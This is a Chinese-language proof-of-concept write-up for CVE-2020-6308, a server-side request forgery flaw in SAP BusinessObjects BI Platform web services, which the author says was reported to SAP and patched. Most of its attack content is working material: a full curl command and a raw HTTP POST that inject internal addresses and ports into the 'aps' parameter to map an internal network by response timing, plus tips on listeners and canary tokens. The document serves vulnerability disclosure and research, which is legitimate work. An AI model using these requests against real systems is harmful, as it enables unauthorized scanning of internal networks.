
PoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform(Web 服务)版本 410、420、430 存在漏洞,允许未经身份验证的攻击者注入任意值作为 CMS 参数,从而对内部网络进行查询,而这些查询通常无法从外部访问。在推特上关注我或私信提问:https://twitter.com/initroott
我于 2020 年 5 月向 SAP 报告了此问题,补丁于 2020 年 10 月发布。你可以继续开发自己的 PoC,不过我会提供一些背景信息。 CMS 函数未能验证提供的地址。如果主机防火墙配置不当,则可能根据请求的响应轻松识别端口或内部网络。以下示例将展示如何使用 curl 请求查看开放端口。 在下面的示例中,我有一台 SAP 主机(192.168.0.191)、一台攻击机(192.168.0.149)和另一个设备,例如内部路由器(192.168.0.1)。
我们的 SAP 主机开放了以下端口:

而我们的内部路由器开放了以下端口:53、80、34573

那么让我们测试一下,我们可以根据请求响应的耗时来识别开放端口。示例如下:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
测试以下 payload:
以下是关闭端口测试的时间结果,平均约 5 毫秒:

以下是开放/过滤端口测试的时间结果,明显更长:

以下方法并非理想方案,因为不同的路由、某些防火墙可能会影响结果。不过,它应该能为你提供一个起点,以便构建更完善的漏洞利用。上述方法可以通过创建基线然后进一步调整。我强烈建议尝试设置一个监听器,然后观察发生了什么。
下面展示了请求在 Burp 中的样子,其中 APS 参数是易受攻击的注入点。 更简单的 PoC 是直接注入一个金丝雀令牌值,然后等待触发器触发。
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp